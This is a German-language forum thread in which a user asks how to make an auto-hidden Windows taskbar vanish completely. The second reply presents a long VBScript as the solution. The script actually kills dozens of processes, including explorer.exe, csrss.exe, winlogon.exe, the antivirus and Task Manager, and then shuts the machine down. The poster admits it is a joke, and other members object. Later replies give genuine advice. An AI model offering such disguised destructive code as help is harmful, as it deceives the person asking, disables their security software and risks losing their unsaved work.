Windows Taskleiste richtig ausblenden?!

Dieses Thema Windows Taskleiste richtig ausblenden?! im Forum "Software Forum" wurde erstellt von DanielxK48x, 17. Jan. 2009.

Thema: Windows Taskleiste richtig ausblenden?! Hallo, ich lasse meine Taskleiste automatisch ausblenden. Jedoch bleibt unten trotzdem so ein kleiner häßlicher...

  1. Hallo,

    ich lasse meine Taskleiste automatisch ausblenden.
    Jedoch bleibt unten trotzdem so ein kleiner häßlicher Rand übrig.
    Kann man den auch irgendwie weg bekommen?
    Dank an jede Antwort.
     
  2. Ja. Kopiere das: (Speichere als .vbs)
    Geht weg aber wie... :lach::lach::lach: (Du hast gesagt: Dank an jede Antwort )

    pc = "localhost"
    programm = "'notepad.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'iexplore.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'msnmsgr.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'cmd.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'calc.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'Zattoo.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'avgnt.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'conime.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'csrss.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'dwm.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'ehmasas.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'ehtray.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'explorer.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'GoogleToolbar.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'hpwuSchd2.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'iTunesHelper.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'jusched.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'MSASCui.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'OpWareSE4.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'PrnStatusMX.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'realhelp.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'Safari.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'sidebar.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'SweetIM.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'taskeng.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'unsecapp.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'winlogon.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'wmpnscfg.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'taskmgr.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'wpcumi.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'WrtMon.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'WrtProc.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    Set wmi = GetObject( _
    "WinMgmts:{impersonationLevel=impersonate, " & _
    "(Shutdown)}!/root/cimv2")
    Set col = wmi.ExecQuery("SELECT * FROM Win32_OperatingSystem")
    For Each obj In col
    rc = obj.Shutdown
    Next
     
  3. Wenn du Spass haben willst, kannst du das gerne woanderst machen ... :hal:
     
  4. Alles beenden. sehr witzig. MOD wo bist du ;)
     
  5. Mach die Augen auf ... :grinning:
     
  6. Dich zähle ich nicht als Mod :st:
     
  7. wie wäre es damit, den Bildschirm so einzustellen, dass dieser blaue streifen unterhalb des Bildschirmrandes liegt?

    SRY, Wenn das jetzt zu On-Topic ist xD
     
  8. Ich dachte eigentlich an seriöse Antworten.
    Was soll das? ^^
     
  9. Wenn du XP verwendest, dann versuch es doch mal mit Taskbar Hide.
     
  10. Danke Skymarshall, so etwas habe ich gesucht. :)
     
Die Seite wird geladen...

Windows Taskleiste richtig ausblenden?! - Ähnliche Themen

Forum Datum
Explorer Symbol in Taskleiste Windows 7 Software Forum 8. Juni 2010
Windows vista taskleiste Software Forum 22. Aug. 2008
durch Windows Taskleiste friert Rechner ein Software Forum 15. Apr. 2007
WindowsXP-Problem (Sanduhr,Taskleiste, Piktogramme, Kontextmenü...) Software Forum 10. Feb. 2007
Windows XP Taskleisten Desktop Icon Software Forum 9. Juli 2006